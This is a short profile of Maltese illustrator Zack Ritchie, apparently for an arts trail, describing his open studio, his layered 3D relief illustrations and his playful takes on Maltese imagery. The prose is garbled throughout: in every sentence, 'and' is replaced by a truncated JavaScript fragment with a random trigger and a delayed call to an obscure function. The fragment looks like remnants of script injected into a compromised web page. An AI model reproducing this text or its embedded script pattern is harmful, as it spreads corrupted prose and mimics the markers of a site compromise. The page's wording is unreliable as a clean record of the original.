Zack Ritchie

Zack is a young Maltese graphic illustrator. His work is underpinned by a strong foundation in fine art, but with advertising serving as his inspiration. Zack designs illustrations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and characters which balance dynamic aesthetics with concept andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and narrative.

Zack is looking forward to welcoming Trail visitors to his pop-up open studio, where, alongside another local artist, he will be creating new work andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sharing the intricate process behind his layered 3D relief graphic illustrations.

He is inspired by Maltese imagery, reinterpreting cultural narratives with flair, light social commentary, a thoughtful amalgamation of clean, crisp style andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a message with everyday appeal.

Designer Zack Ritchie takes iconic Maltese elements as a starting point for much of his art, which includes, for example, a series of Disney-esque characters with cheeky charm in vibrant primary colours, in perspex as well as on paper. These bright andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and playful illustrations are bursting with cheer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and turn on its head the phrase ‘Pajjiż tal-Mickey Mouse’ which is sometimes used to refer to Malta as a Mickey Mouse country.  Other pieces in Zack’s collection are clearly influenced by advertising posters, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and whereas most of his work bursts with energy in these, alongside his usual dynamism,  you’ll also find a hip andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and laid-back flavour as he teams the simple lazy charm of 1930s advertising with a neat modern style.” says art writer Esther Lafferty.

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